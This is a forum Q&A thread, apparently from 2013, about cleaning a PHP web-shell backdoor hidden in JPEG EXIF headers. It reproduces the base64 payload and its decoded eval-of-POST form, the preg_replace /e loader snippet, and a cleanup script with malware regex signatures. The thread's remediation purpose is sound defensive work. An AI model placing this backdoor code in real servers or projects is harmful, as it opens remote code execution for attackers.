How to remove string from JPEG files using find?

1

1

I have many files in many media catalogs with some string and I want to remove this string.

The string is contained inside JPEG files and looks like:

eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

The base64 encoded part after decoding is:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

How to do it?

Nips

Posted 2013-10-31T09:02:04.067

Reputation: 113

1Please clarify your question. What do you mean by 'catalogs'? What does the base64 decode is for? Where does the base64 encoded string come from? You probably cannot simply change/remove a string contained in an image file. – migu – 2013-10-31T09:19:34.590

I found this string in some jpg files on server. If I call image: http://host/path/to/image/image.jpg it show but when i call: http://host/path/to/image/image.jpg?zz1=myscript I can use this injection.

– Nips – 2013-10-31T09:31:20.183

Answers

2

Explanation

What you described is a part of a known PHP backdoor. The main PHP code is obscured by base64 encoding so that it is not so easily detectable. The code you showed is normally hidden in the Exif header Model and another important part (PCRE /.*/e) is normally in the header Make.

The code from Exif gets executed by another part of the backdoor - calling preg_replace($exif['Make'],$exif['Model'],''); on the Exif data from the image. For details see for example Malware Hidden Inside JPG EXIF Headers or Hiding Webshell Backdoor Code in Image Files.

Solution

You can remedy the infected images by removing the relevant Exif headers. First check if the problematic strings are in the headers Make and Model:

exiftool file.jpg

Then you can remove the headers:

find /directory/with/images -iname '*.jpg' -exec exiftools -Make= -Model= {} +

This code will remove the two headers from all the .jpg files regardless of the content of the headers. If you want to remove just the infected headers the code would be considerably more complicated. The script to do this is below at the end of this answer.

After checking that the results are OK you can remove the backups created by exiftool:

find /directory/with/images -iname '*.jpg_original' -delete

Keep in mind that the other part of the backdoor whould be removed too. It is in the PHP code on the server and normally looks like:

$exif = exif_read_data('/path/to/an/image.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Script for more accurate removal

The following script detects in which Exif headers there is the code of malware. Store the code into a file e.g. rm-jpg-backdoor then enable execution: chmod a+x rm-jpg-backdoor. When calling the script you can pass directories of files to clean as arguments. Example: ./rm-jpg-backdoor /directory/with/images

#!/bin/sh

suff=jpg    # problematic file suffix

# extended regex signatures of malware code
badregex1='eval\( *base64_decode\( *'\'
badregex2='/.+/e'

script="$0" # this script name for recursion

for f in "$@" ; do
    if test -d "$f" ; then
        echo "=== recursing directory $f"
        find "$f" -type f -iname "*.$suff" -exec "$script" {} +
    elif test -f "$f" ; then
        echo "-- cleaning file $f"
        hdr1="$( exiftool "$f" | grep -E ".+ +: +$badregex1" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$/\1/' )"
        test -n "$hdr1" && { echo "removing $hdr1" ; exiftool "-$hdr1=" "$f" ; }
        hdr2="$( exiftool "$f" | grep -E ".+ +: +$badregex2" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$/\1/' )"
        test -n "$hdr2" && { echo "removing $hdr2" ; exiftool "-$hdr2=" "$f" ; }
    fi
done

pabouk

Posted 2013-10-31T09:02:04.067

Reputation: 5 358